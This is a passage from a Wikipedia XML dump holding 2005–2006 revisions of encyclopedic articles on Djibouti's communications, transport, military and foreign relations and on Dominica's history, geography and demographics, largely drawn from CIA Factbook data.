    <id>8046</id>
    <revision>
      <id>29763595</id>
      <timestamp>2005-12-01T03:09:37Z</timestamp>
      <contributor>
        <username>Kusma</username>
        <id>145855</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages maintenance|You can help!]]) -- [[AM]]</comment>
      <text xml:space="preserve">'''[[Telephones]] - main lines in use''':    
9,500 (2003)  

'''Telephones - mobile cellular''':    
23,000 (2003)  

'''Telephone system''':   
general assessment: telephone facilities in the city of [[Djibouti City|Djibouti]] are adequate as are the [[microwave]] [[radio]] relay connections to outlying areas of the country 
&lt;br&gt;''domestic'': microwave radio relay network 
&lt;br&gt;''international'': country code - 253; submarine cable to [[Jiddah]], [[Suez]], [[Sicily]], [[Marseilles]], [[Colombo]], and [[Singapore]]; [[satellite]] earth stations - 1 [[Intelsat]] ([[Indian Ocean]]) and 1 [[Arabsat]]; [[Medarabtel]] regional microwave radio relay telephone network  

'''Radio [[Broadcasting|broadcast]] stations''':   
[[AM broadcasting|AM]] 1, [[FM]] 2, shortwave 0 (2001)  

'''Television broadcast stations''':   
1 (2002)  

'''[[Internet]] hosts''':    
702 (2004)  

'''Internet users''':
6,500 (2003) 

'''Internet [[country code]]''':   
.dj  

==References==
*[http://www.cia.gov/cia/publications/factbook/geos/dj.html CIA Factbook on Djibouti]
[[Category:Communications by country|Djibouti]]
[[Category:Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Djibouti</title>
    <id>8047</id>
    <revision>
      <id>37832518</id>
      <timestamp>2006-02-02T11:53:18Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Djibouti]] to [[Transport in Djibouti]]: part of a series</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
&lt;br&gt;''total:''
100 km (Djibouti segment of the [[Addis Ababa]]-[[Djibouti]] railroad)
&lt;br&gt;''[[narrow gauge]]:''
100 km 1.000-m gauge
&lt;br&gt;''note:''
Djibouti and Ethiopia plan to revitalize the century-old railroad that links their capitals by 2003

'''Highways:'''
&lt;br&gt;''total:''
2,890 km
&lt;br&gt;''paved:''
364 km
&lt;br&gt;''unpaved:''
2,526 km (1996 est.)

'''Ports and harbors:'''
Djibouti

'''Merchant marine:'''
&lt;br&gt;''total:''
1 ship (1,000 GRT or over) totaling 1,369 GRT/3,030 DWT
&lt;br&gt;''ships by type:''
cargo 1 (1999 est.)

'''Airports:'''
12 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
2
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
10
&lt;br&gt;''1,524 to 2,437 m:''
2
&lt;br&gt;''914 to 1,523 m:''
5
&lt;br&gt;''under 914 m:''
3 (1999 est.)

:''See also :'' [[Djibouti]]

{{Africa in topic|Transport in}}

[[Category:Djibouti]]
[[Category:Transportation by country|Djibouti]]
[[fr:Transport à Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Djibouti</title>
    <id>8048</id>
    <revision>
      <id>31800963</id>
      <timestamp>2005-12-18T02:24:50Z</timestamp>
      <contributor>
        <ip>68.74.66.158</ip>
      </contributor>
      <text xml:space="preserve">{{Military
| color=#8888ff
| age=15-49
| availability=106,287 (2000 est.)
| service=62,496 (2000 est.)
| reaching age=
| active=
| amount=$23 million (FY97)
| percent GDP=4.5% (FY97)
}}

[[Djibouti]]'s [[military]] consists of the [[Djibouti National Army]] (includes Navy and Air Force).


{{Africa-stub}}
{{mil-stub}}

[[Category:Djibouti]]
[[Category:Militaries|Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Djibouti</title>
    <id>8049</id>
    <revision>
      <id>27958331</id>
      <timestamp>2005-11-10T21:23:57Z</timestamp>
      <contributor>
        <username>Curpsbot-unicodify</username>
        <id>397664</id>
      </contributor>
      <minor />
      <comment>4 &amp;&lt;name&gt;; → Unicode</comment>
      <text xml:space="preserve">[[Djibouti]]'s military and economic agreements with [[France]] provide continued security and economic assistance. Links with Arab states and East Asian states, [[Japan]] and [[People's Republic of China]] in particular, also are welcome. Djibouti is a member of the [[Arab League]], as well as the [[Organization of African Unity]] (OAU), and the [[Intergovernmental Authority on Development]] (IGAD). After the terror attacks of [[September 11]], [[2001]], Djibouti joined the Global War on Terror, and now hosts a large military camp, home to soldiers from many countries, but primarily the U.S. The U.S. and Djibouti have forged strong ties in recent years. Foreign Aid from the U.S. plays the lead role in Djibouti's economy.

Djibouti is greatly affected by events in [[Somalia]] and [[Ethiopia]], and therefore relations are important and, at times, very delicate. The fall of the [[Siad Barre]] and [[Mengistu]] governments in Somalia and Ethiopia, respectively, in 1991, caused Djibouti to face national security threats due to the instability in the neighboring states and a massive influx of refugees estimated at 100,000 from Somalia and Ethiopia. In 2000, after 3 years of insufficient rain, 50,000 drought victims entered Djibouti. In 1996 a revitalized organization of seven East African states, the [[Intergovernmental Authority on Development]] (IGAD), established its secretariat in Djibouti. IGAD’s mandate is for regional cooperation and economic integration. In 1991 and 2000, Djibouti played a key role in the search for peace in Somalia by hosting Somali Reconciliation Conferences. In the summer of 2000, Djibouti hosted the Arta Conference which brought together various Somali clans and warlords. Djibouti's efforts to promote reconciliation in Somalia led to the establishment of the [[Transitional National Government]] (TNG) in Somalia. Djibouti hopes the TNG can form the basis for bringing peace and stability to Somalia.

With the Ethiopia-Eritrea war of 2000, Ethiopia channeled most of its trade through Djibouti. Though Djibouti is nominally neutral, it broke off relations with Eritrea in November 1998, renewing relations in 2000. Eritrea's President Isaias visited Djibouti in early 2001 and President [[Ismail Omar Guelleh]] made a reciprocal visit to Asmara in the early summer of 2001. While Djibouti’s President Ismail Omar Guelleh has close ties with Ethiopia’s ruling [[Ethiopian People’s Revolutionary Democratic Front]] (EPRDF), he has tried to maintain an even hand, developing relations with [[Eritrea]].

Djibouti has been the host country for [[Military of France|French]] military units since independence.  In [[2002]], [[Military of the United States|United States]] units began operations from Djibouti with the aim of countering the possible threat of Islamic terrorism in the [[Horn of Africa]].

[[Somalia]] has in the past claimed the areas of Djibouti inhabited by [[Somali]]s as part of the [[Greater Somalia]] idea.
[[category:djibouti]]
[[Category:Foreign relations by country|Djibouti, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Dominica</title>
    <id>8050</id>
    <revision>
      <id>41524129</id>
      <timestamp>2006-02-27T23:00:50Z</timestamp>
      <contributor>
        <ip>205.211.50.10</ip>
      </contributor>
      <text xml:space="preserve">{{Dominica infobox}}
The '''Commonwealth of Dominica,''' popularly known as '''Dominica''', is an [[island nation]] in the [[Caribbean Sea]].  It should not be confused with the [[Dominican Republic]], another Caribbean nation.  

The name is pronounced [[IPA chart for English|IPA]]: {{IPA|/&amp;#716;d&amp;#594;.m&amp;#618;n&amp;#712;i&amp;#720;.k&amp;#601;/}} (&quot;do-min-EE-ka&quot;). In [[Latin]] the name means &quot;Sunday&quot;, which was the day of its 'discovery' by Europeans (i.e. Columbus).

Dominica's [[pre-Columbian]] name is ''Wai'tu kubuli'', which means &quot;Tall is her body.&quot; The Kalinago (Indigenous) people of the island, somewhat erroneously called 'Caribs', have a territory which resembles the 'Indian' reserves of Canada. Because it lies between two overseas [[départements]] (territories) of [[France]],  [[Guadeloupe]] to the north and [[Martinique]] to the south, and due to a considerable historical influence from France, the island is sometimes called &quot;French Dominica.&quot;   The island is also nicknamed &quot;''The Nature Isle of the Caribbean''&quot; due to its seemingly unspoiled natural beauty.  

Dominica is a lush island of mountainous [[rainforests]], home of many rare plant, animal and bird species. The Sisserou parrot is featured on the Dominica flag. The isle of Dominica is one of the youngest islands in the [[Lesser Antilles]], and it is still being formed by [[Geothermal (geology)|geothermal]]-[[volcano|volcanic]] activity.  Dominica's economy is heavily dependent on both tourism and agriculture.

==History==
''Main article: [[History of Dominica]]''

Dominica was first sighted by Europeans, including [[Christopher Columbus]], in [[1493]].  They encountered the [[indigenous]] peoples known as the [[Carib]]s, but soon left the island after being defeated by the Caribs.  In [[1627]] [[Kingdom of England|England]] also tried and failed to capture Dominica.  In [[1635]] the French claimed the island and sent missionaries, but were unable to wrench Dominica from the Caribs.  They abandoned the island, along with the island of [[Saint Vincent_(island)|Saint Vincent]], in the [[1660]]s.

For the next hundred years Dominica remained isolated, and even more Caribs settled there after being driven from surrounding islands as [[European]] powers entered the region.  [[France]] formally ceded possession of Dominica to the United Kingdom in [[1763]]. The United Kingdom then set up a government and made the island a colony in [[1805]].  The emancipation of African slaves occurred throughout the British Empire in [[1834]], and, by [[1838]], Dominica became the first British Caribbean colony to have a Black-controlled legislature.  In [[1896]], the United Kingdom re-took governmental control of Dominica and turned it into a [[crown colony]].  Half a century later, from  [[1958]] to [[1962]], Dominica became a province of the short-lived [[West Indies Federation]].  In [[1978]] Dominica finally became an independent nation.  Dominica's fortunes improved in [[1980]] when its corrupt and tyrannical administration was replaced by that of [[Mary Eugenia Charles]], the first female prime minister in the Caribbean, who remained in office for 15 years.

==Politics==
''Main article: [[Politics of Dominica]]''

Dominica is a [[parliamentary democracy]] within the [[Commonwealth of Nations]]. The President is [[head of state]], while executive power rests with the [[Cabinet]], headed by the [[Prime Minister]]. The [[unicameral]] [[parliament]] consists of the 30-member House of Assembly, which consists of twenty-one directly elected members and nine Senators, who may either be appointed by the President or elected by the other members of the House.

Unlike other former British colonies in the region, Dominica was never a [[Commonwealth realm]] with the [[British monarch]] as [[head of state]], as it instead became a [[republic]] on independence.

Dominica is a full and participating member of the [[Caribbean_Community|Caribbean Community (CARICOM)]] and the [[Organisation of Eastern Caribbean States]] (OECS).

==Parishes==
''Main article: [[Parishes of Dominica]]''

Dominica is divided into ten parishes, each named after a [[saint]].
The parishes are: St. Luke, St. Mark, St. George, St. Paul, St. St Joseph, St. Peter, 
St. Andrew, St. David, St. Patrick, St. John.

==Geography==
[[Image:Do-map.gif|thumb|280px|Map of Dominica]]
''Main article: [[Geography of Dominica]]''

Dominica is an [[island nation]] and [[borderless country]] in the [[Caribbean Sea]].  The size of the country is about 751 square kilometers (290 square miles).   The capital is [[Roseau]].  

Dominica is largely covered by [[rainforest]] and is home to the world's second-largest [[boiling lake]].  Dominica also has many waterfalls, springs and rivers.  Some plants and animals thought to be extinct on surrounding islands can still be found in Dominica's forests.  The volcanic nature of the island and the lack of sandy beaches have made Dominica a popular [[scuba diving]] spot.

The Commonwealth of Dominica is engaged in a long-running dispute with [[Venezuela]] over Venezuela's territorial claims to the sea surrounding [[Isla Aves]] (Bird Island), a tiny islet located 110 km (70 miles) west of the island of Dominica.

==Economy==
{{main|Economy of Dominica}}

The Dominican economy is dependent on both [[tourism]] and [[agriculture]].  Forty percent of Dominican workers are in the [[agricultural sector]], and Dominica's primary agricultural [[exports]] include [[tobacco]], [[bananas]], [[vegetables]], [[citrus]], [[copra]], [[coconut oil]], and [[essential oils]] such as [[bay leaf|bay oil]].  The country's industries, other than tourism, include [[soap]], [[furniture]], cement blocks, and [[shoes]].  Dominica is further benefited by the presence of an offshore medical school, [http://www.rossmed.edu/ Ross University], in the northern town of Portsmouth. About 900 students live and study in Portsmouth.

The Dominican economy has high [[poverty]] (30%), high [[unemployment]] (23%), and a low per capita [[GDP]] (US$5,400).  The Dominican economy has been hurt by problems in the banana industry.  The entire economy suffers when weather conditions damage the banana crop, or when the price of bananas falls.  The [[European Union]] has phased out preferred access of bananas to its markets, causing banana demand to fall.  In response, the Dominican government privatized the banana industry.  Also, the government has attempted to diversify the economy and has lifted [[price controls]] in an attempt to improve the lagging economy.  The government is also trying to develop tourism, especially [[ecotourism]].  The lack of a large international airport and lack of sandy beaches decrease opportunities for standard tourism, but the heavily rainforested island could lure those who want unconventional ecotourism experiences.  Indeed, it is remarked that of all the islands of the Caribbean, Dominica is the only one [[Christopher Columbus]] would still recognise.

==Demographics==
''Main article: [[Demographics of Dominica]]''

Almost all of the seventy thousand nationals of Dominica today are descendants of African slaves, brought in by colonial planters in the 18th century.  However, Dominica is also one of the few islands in the Eastern Caribbean to possess a population of pre-Columbian Carib Indians, about 3,000 of whom live on the island's east coast in their own territory.

The population growth rate of Dominica is very low, due primarily to emigration to more developed Caribbean Islands, the United Kingdom, the United States, or Canada.  English is the official language of Dominica and is universally understood; however, because of historic French domination, Antillean Creole &quot;[[Patwa]]&quot;, a French-based [[creole language]], is also widely spoken. About 80% of the population is Catholic, though in recent years a number of Protestant churches have been established.

==Culture==
''Main article: [[Culture of Dominica]]''

Dominica is home to a wide range of people. Historically occupied by several native tribes, only a [[Carib]] tribe remained by the time European settlers reached the island. French and British settlers each claimed the island, and imported [[slaves]] from [[Africa]]. The native Caribs have a reserve on which they live in their traditional manner. This mix of cultures is important to Dominica.

The famed novelist [[Jean Rhys]] was born and raised in Dominica. The island is obliquely depicted in her best-known book, ''[[Wide Sargasso Sea]]''. Rhys's friend, the political activist and writer [[Phyllis Shand Allfrey]], set her [[1954]] novel, ''[[The Orchid House]]'' ISBN 081352332X, in Dominica.
 
The dialect of Dominica also includes Cocoy and a French Patios. &quot;Cocoy&quot;, is primarly a mix of cockney english imported by English settler and with an infusion of African lingual. Cocoy is mainly spoken in the north-eastern part of the island. The French patios which is more widely spoken came from the French plantation owners from the neighbouring French islands of Guadeloupe and Martinique.

==See also==
* [[Communications in Dominica]]
* [[Foreign relations of Dominica]]
* [[Politics of Dominica]]
* [[Economy of Dominica]]
* [[Demographics of Dominica]]
* [[Military of Dominica]]
* [[Transportation in Dominica]]
* [[Music of Dominica]]
* [[Culture of Dominica]]
* [[List of people of Dominica]]

== External links ==
{{sisterlinks|Dominica}}

===News===
*[http://www.news-dominica.com/ Latest news from Dominica]

===Directories===
*[http://www.lennoxhonychurch.com/ Dominica's history &amp; culture]
*[http://www.liquidguru.com/ Videos and Photos of Dominica, above and under the waves]

===Tourism===
*{{wikitravel}}
*[http://www.dominica.dm/index.php Official tourism website]
*[http://www.worldcreolemusicfestival.dm/ Dominica World Creole Music Festival]
*[http://www.avirtualdominica.com/home.cfm In-depth travel &amp; tourism site]
*[http://dominica-guide.info Travel and tourism guide for Dominica]

===Pictures===
*[http://www.mydominica.org/ mydominica.org: Extensive photographs of Dominica's towns, villages, landscape and scenery]

{{West_Indies}}
{{Caricom}}

[[Category:Dominica|*]]
[[Category:CARICOM member states]]
[[Category:Republics]]

[[an:Dominica]]
[[ast:Dominica]]
[[bg:Доминика]]
[[zh-min-nan:Dominica]]
[[bn:ডোমিন্‌ইকা]]
[[bs:Dominika]]
[[ca:Dominica]]
[[cs:Dominika]]
[[da:Dominica]]
[[de:Dominica]]
[[et:Dominica]]
[[es:Dominica]]
[[eo:Dominiko]]
[[fr:Dominique (pays)]]
[[gl:Dominica]]
[[ko:도미니카]]
[[ht:Dominik]]
[[hr:Dominika]]
[[io:Dominika]]
[[id:Dominika]]
[[ia:Dominica (pais)]]
[[it:Dominica]]
[[he:דומיניקה]]
[[lv:Dominika]]
[[lt:Dominika]]
[[ms:Dominica]]
[[na:Dominica]]
[[nl:Dominica]]
[[nds:Dominica]]
[[ja:ドミニカ国]]
[[no:Dominica]]
[[nn:Dominica]]
[[oc:Dominica]]
[[pl:Dominika]]
[[pt:Dominica]]
[[ro:Dominica]]
[[ru:Доминика]]
[[sco:Dominica]]
[[sq:Domenika]]
[[simple:Dominica]]
[[sk:Dominika (štát)]]
[[sl:Dominika]]
[[sr:Доминика]]
[[fi:Dominica]]
[[sv:Dominica]]
[[tl:Dominica]]
[[tr:Dominik]]
[[uk:Домініка]]
[[zh:多米尼克]]</text>
    </revision>
  </page>
  <page>
    <title>History of Dominica</title>
    <id>8051</id>
    <revision>
      <id>33305869</id>
      <timestamp>2005-12-30T22:42:21Z</timestamp>
      <contributor>
        <username>FireFox</username>
        <id>358536</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up</comment>
      <text xml:space="preserve">The island of '''[[Dominica]]''''s indigenous [[Arawak]] people were expelled or exterminated by [[Carib]]s in the 14th century. [[Christopher Columbus]] landed there in November [[1493]]. [[Spain|Spanish]] ships frequently landed on Dominica during the 16th century, but fierce resistance by the Caribs discouraged Spain's efforts at settlement.

In [[1635]], [[France]] claimed Dominica. Shortly thereafter, French missionaries became the first European inhabitants of the island. Carib incursions continued, though, and in [[1660]], the French and [[United Kingdom|British]] agreed that both Dominica and [[Saint Vincent and the Grenadines|St. Vincent]] should be abandoned. Dominica was officially neutral for the next century, but the attraction of its resources remained; rival expeditions of British and French foresters were harvesting timber by the start of the 18th century.

Largely due to Dominica's position between [[Martinique]] and [[Guadeloupe]], France eventually became predominant, and a French settlement was established and grew. As part of the [[1763]] [[Treaty of Paris (1763)|Treaty of Paris]] that ended the [[Seven Years' War]], the island became a British possession. In [[1778]], during the [[American Revolutionary War]], the French mounted a successful invasion with the active cooperation of the population, which was largely French. The [[1783]] Treaty of Paris, which ended the war, returned the island to Britain. French invasions in [[1795]] and [[1805]] ended in failure.

In 1763, the British established a legislative assembly, representing only the white population. In [[1831]], reflecting a liberalization of official British racial attitudes, the [[Brown Privilege Bill]] conferred political and social rights on free nonwhites. Three Blacks were elected to the legislative assembly the following year. Following the abolition of slavery, in [[1838]] Dominica became the first and only British Caribbean colony to have a Black-controlled legislature in the 19th century. Most Black legislators were small holders or merchants who held economic and social views diametrically opposed to the interests of the small, wealthy English planter class. Reacting to a perceived threat, the planters lobbied for more direct British rule.

In [[1865]], after much agitation and tension, the colonial office replaced the elective assembly with one comprised of one-half elected members and one-half appointed. The elected legislators were outmaneuvered on numerous occasions by planters allied with colonial administrators. In [[1871]], Dominica became part of the [[Leeward Island Federation]]. The power of the Black population progressively eroded. Crown Colony government was re-established in [[1896]]. All political rights for the vast majority of the population were effectively curtailed. [[Development aid]], offered as compensation for disenfranchisement, proved to have a negligible effect.

Following [[World War I]], an upsurge of political consciousness throughout the Caribbean led to the formation of the representative government association. Marshaling public frustration with the lack of a voice in the governing of Dominica, this group won one-third of the popularly elected seats of the legislative assembly in [[1924]] and one-half in [[1936]]. Shortly thereafter, Dominica was transferred from the Leeward Island Administration and was governed as part of the [[Windward Islands|Windwards]] until [[1958]], when it joined the short-lived [[West Indies Federation]].

In [[1961]], a Dominica Labor Party government led by [[Edward Oliver LeBlanc]] was elected. After the federation dissolved, Dominica became an associated state of the United Kingdom on [[February 27]], [[1967]] and formally took responsibility for its internal affairs. LeBlanc retired in [[1974]] and was replaced by [[Patrick John]]. On [[November 3]], [[1978]], the Commonwealth of Dominica was granted independence by the United Kingdom.

Independence did little to solve problems stemming from centuries of economic [[underdevelopment]], and in mid-[[1979]], political discontent led to the formation of an interim government. It was replaced after the [[1980]] elections by a government led by the [[Dominica Freedom Party]] under Prime Minister [[Eugenia Charles]], the Caribbean's first female prime minister. 

On [[April 27]], [[1981]], [[Ku Klux Klan]] Grand Wizards [[Don Black (nationalist)|Don Black]] and [[Wolfgang Droege]], [[Larry Lloyd Jacklin]] and seven other men were arrested by [[United States|U.S.]] federal agents in [[New Orleans]] as they prepared to board a boat with guns and dynamite for an invasion of Dominica. The invasion (dubbed &quot;[[Operation Red Dog]]&quot; by its organizers) was meant to restore [[Patrick John]] to power and to transform the island into a white supremacist nation. The incident was later dubbed the &quot;Bayou of Pigs.&quot;

Chronic economic problems were compounded by the severe impact of hurricanes in 1979 and in 1980. By the end of the 1980s, the economy had made a healthy recovery, which weakened in the 1990s due to a decrease in banana prices.

In 1995 the government was defeated in elections by the United Workers Party of [[Edison James]]. James became prime minister, serving until the February 2000 elections, when the [[Dominica United Workers Party]] (DUWP) was defeated by the [[Dominica Labour Party]] (DLP), led by [[Rosie Douglas]]. He was a former [[socialist]] [[radical]], and many feared that his approach to politics might be impractical. However, these were somewhat quieted when he formed a coalition with the more conservative Dominica Freedom Party. Douglas died suddenly after only a few months in office, on October 1, 2000, and was replaced by [[Pierre Charles]], also of the DLP. In 2003, [[Nicholas Liverpool]] was elected and sworn in as president, succeeding [[Vernon Shaw]].. On January 6, 2004, Prime Minister Pierre Charles, who had been suffering from heart problems since 2003, died. He became the second consecutive prime minister of Dominica to die in office of a heart attack. The foreign minister, [[Osborne Riviere]] immediately became prime minister, but the education minister, [[Roosevelt Skerrit]] succeeded him as prime minister and became the new leader of the Dominica Labour Party. Election were held on [[May 5]] [[2005]] with the ruling coalition maintaining power.


[[Category:Dominica]]
[[Category:History by country|Dominica]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Dominica</title>
    <id>8052</id>
    <revision>
      <id>30058507</id>
      <timestamp>2005-12-03T23:24:54Z</timestamp>
      <contributor>
        <username>Gruepig</username>
        <id>164113</id>
      </contributor>
      <comment>Added more detailed map of Dominica</comment>
      <text xml:space="preserve">[[Image:DominicaMap.gif|thumb|300px|Map of Dominica]]
[[Dominica]] is an [[island]] in the [[Caribbean Sea]], located about halfway between [[Puerto Rico]] and [[Trinidad and Tobago]].  Its coordinates are 15 25 N, 61 20 W.  The island is roughly four times the size of [[Washington, DC]] (in area, not population).  There are no significant lakes on the island.

The island's [[climate]] is tropical, moderated by northeast [[trade wind]]s and heavy [[rain]]fall.  The interior features rugged [[mountain]]s of [[volcano|volcanic]] origin. Volcanism is still quite evident on the island, the most popular examples being Dominica's boiling lake and &quot;valley of desolation.&quot; The boiling lake (the world's second largest) is within a crater and is fed by a waterfall - the boiling is believed to be caused by the heat of a magma chamber beneath the lake. The valley of desolation is a sulfurous valley of volcanic vents and hot springs that inhibits significant plant growth - in stark contrast to the surrounding rain forest. The lowest point in the country is at [[sea level]] along the coast, and the highest is [[Morne Diablotins]] (1,447 m).  The extreme southwestern coast of the island includes a large collapsed submarine caldera. Portions of the exposed rim of this caldera form the southwestern tip of the island at Scott's Head. 

Natural resources include [[farming]], [[hydropower]] and [[timber]].

Geographically, Dominica is distinctive in many ways. The country has one of the most rugged landscapes in the Caribbean, covered by a largely unexploited, multi-layered rain forest. It is also among the earth's most rain-drenched lands, and the water runoff forms cascading rivers and natural pools. The island, home to rare species of wildlife, is considered by many as a beautiful, unspoiled tropical preserve. According to a popular West Indian belief, Dominica is the only New World territory that Columbus would still recognize.

Dominica is the largest and most northerly of the Windward Islands. The island faces the Atlantic Ocean to the east and the Caribbean Sea to the west. Its nearest neighbors are the French islands of Guadeloupe, some forty-eight kilometers north, and Martinique, about forty kilometers south. Oblong-shaped and slightly smaller than New York City, Dominica is 750 square kilometers in area, 47 kilometers in length, and 29 kilometers in width. Roseau, the nation's capital and major port, is favorably situated on the sheltered, southwestern coast.

Geologically, Dominica is part of the rugged Lesser Antilles volcanic arc. The country's central spine, a northwest-southeast axis of steep volcanic slopes and deep gorges, generally varies in elevation from 300 meters to 1,400 meters above sea level. Several east-west trending mountain spurs extend to the narrow coastal plain, which is studded with sea cliffs and has level stretches no wider than 2,000 meters. The highest peak is Morne Diablatins, at 1,447 meters; Morne Trois Pitons, with an elevation of 1,423 meters, lies farther south and is the site of the national park.

Dominica's rugged surface is marked by its volcanic past. Rock formations are mainly volcanic andesite and rhyolite, with fallen boulders and sharp-edged protrusions peppering slope bases. The light- to dark-hued clayey and sandy soils, derived from the rocks and decomposed vegetation, are generally fertile and porous. Only a few interior valleys and coastal strips are flat enough for soil accumulations of consequence, however. Although scores of mostly mild seismic shocks were recorded in 1986, volcanic eruptions ceased thousands of years ago. Sulfuric springs and steam vents, largely concentrated in the central and southern parts of the island, remain active, however. One of the largest springs, Boiling Lake, is located in the national park.

Dominica is water-rich with swift-flowing highland streams, which cascade into deep gorges and form natural pools and crater lakes. The streams are not navigable, but many are sources of hydroelectric power. Trafalgar Falls, located near the national park, is one of the most spectacular sites on the island. The principal rivers flowing westward into the Caribbean are the Layou and the Roseau, and the major one emptying eastward into the Atlantic is the Toulaman. The largest crater lake, called Boeri, is located in the national park.

Dominica has a tropical wet climate with characteristically warm temperatures and heavy rainfall. Excessive heat and humidity are tempered somewhat by a steady flow of the northeast trade winds, which periodically develop into hurricanes. The steep interior slopes also alter temperatures and winds. Temperature ranges are slight. Average daytime temperatures generally vary from 26°C in January to 32°C in June. Diurnal ranges are usually no greater than 3°C in most places, but temperatures dipping to 13°C on the highest peaks are not uncommon.

Most of the island's ample supply of water is brought by the trade winds. Although amounts vary with the location, rain is possible throughout the year, with the greatest monthly totals recorded from June through October. Average yearly rainfall along the windward east coast frequently exceeds 500 centimeters, and exposed mountainsides receive up to 900 centimeters, among the highest accumulations in the world. Totals on the leeward west coast, however, are only about 180 centimeters per year. Humidities are closely tied to rainfall patterns, with the highest values occurring on windward slopes and the lowest in sheltered areas. Relative humidity readings between 70 percent and 90 percent have been recorded in Roseau.

Hurricanes and severe winds, most likely to occur during the wettest months, occasionally are devastating. The most recent hurricanes of note were David and Frederick in August 1979 and Allen in August l980. The 1979 hurricanes caused over 40 deaths, 2,500 injuries, and extensive destruction of housing and crops. Many agricultural commodities were destroyed during the 1980 storm, and about 25 percent of the banana crop was demolished by strong winds in 1984. 

'''Map references:'''
Central America and the Caribbean

'''Area:'''
&lt;br&gt;''total:''
[[1 E8 m²|754 km&amp;sup2;]]
&lt;br&gt;''land:''
754 km&amp;sup2;

'''Coastline:'''
148 km

'''Maritime claims:'''
&lt;br&gt;''contiguous zone:''
24 nm
&lt;br&gt;''exclusive economic zone:''
200 nm
&lt;br&gt;''territorial sea:''
12 nm

'''Land use:'''
&lt;br&gt;''arable land:''
9%
&lt;br&gt;''permanent crops:''
13%
&lt;br&gt;''permanent pastures:''
3%
&lt;br&gt;''forests and woodland:''
67%
&lt;br&gt;''other:''
8% (1993 est.)

'''Irrigated land:'''
NA km&amp;sup2;

'''Natural hazards:'''
Flash floods are a constant threat; destructive hurricanes can be expected during the late summer months

'''Environment - current issues:'''
NA

'''Environment - international agreements:'''
&lt;br&gt;
''Party to:''
Biodiversity, Climate Change, Desertification, Endangered Species, Environmental Modification, Hazardous Wastes, [[Law of the Sea]], Ozone Layer Protection, Whaling

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''[[CIA World Factbook]]''

[[Category:Geography of Dominica|*]]
[[Category:Geography by country|Dominica]]

[[pt:Geografia da Dominica]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Dominica</title>
    <id>8053</id>
    <revision>
      <id>33246161</id>
      <timestamp>2005-12-30T12:41:55Z</timestamp>
      <contributor>
        <username>Rui Silva</username>
        <id>224333</id>
      </contributor>
      <minor />
      <comment>pt</comment>
      <text xml:space="preserve">Almost all [[Dominica]]ns are descendants of [[Africa]]n [[Slavery|slave]]s brought in by [[colony|colonial]] planters in the [[18th century]]. Dominica is the only island in the eastern [[Caribbean]] to retain some of its pre-Columbian population--the [[Carib]] Indians--about 3,000 of whom live on the island's east coast.

The population growth rate is very low, due primarily to emigration to more prosperous Caribbean Islands, the [[United Kingdom]], the [[United States]], and [[Canada]]. [[English language|English]] is the official language and universally understood; however, because of historic [[French language|French]] domination, [[Antillean Creole]], a French patois, is also widely spoken. About 80% of the population is [[Roman Catholicism|Catholic]]. In recent years, a number of [[Protestantism|Protestant]] churches have been established.

'''Population:'''
71,540 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
29% (male 10,556; female 10,254)
&lt;br&gt;''15-64 years:''
63% (male 23,151; female 21,984)
&lt;br&gt;''65 years and over:''
8% (male 2,294; female 3,301) (2000 est.)

'''Population growth rate:'''
-1.14% (2000 est.)

'''[[Birth rate]]:'''
18.27 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
7.3 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
-22.39 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.03 male(s)/female
&lt;br&gt;''15-64 years:''
1.05 male(s)/female
&lt;br&gt;''65 years and over:''
0.69 male(s)/female
&lt;br&gt;''total population:''
1.01 male(s)/female (2000 est.)

'''[[Infant mortality]] rate:'''
17.13 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
73.35 years
&lt;br&gt;''male:''
70.5 years
&lt;br&gt;''female:''
76.36 years (2000 est.)

'''Total [[fertility]] rate:'''
2.05 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Dominican(s)
&lt;br&gt;''adjective:''
Dominican

'''Ethnic groups:'''
black 90%, Mulatto, Carib Amerindian 2%

'''[[Religion]]s:'''
Roman Catholic 77%, Protestant 15% (Methodist 5%, Pentecostal 3%, Seventh-Day Adventist 3%, Baptist 2%, other 2%), none 2%, other 6%

'''[[Language]]s:'''
English (official), French patois

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over has ever attended school
&lt;br&gt;''total population:''
94%
&lt;br&gt;''male:''
94%
&lt;br&gt;''female:''
94% (1970 est.)

[[Category:Dominica]]
[[Category:Demographics by country|Dominica]]

[[es:Demografía de Dominica]]
[[pl:Demografia Dominiki]]
[[pt:Demografia da Dominica]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Dominica</title>
    <id>8054</id>
    <revision>
      <id>32635125</id>
      <timestamp>2005-12-24T22:51:50Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>/* Political parties and elections */</comment>
      <text xml:space="preserve">{{Politics of Dominica}}
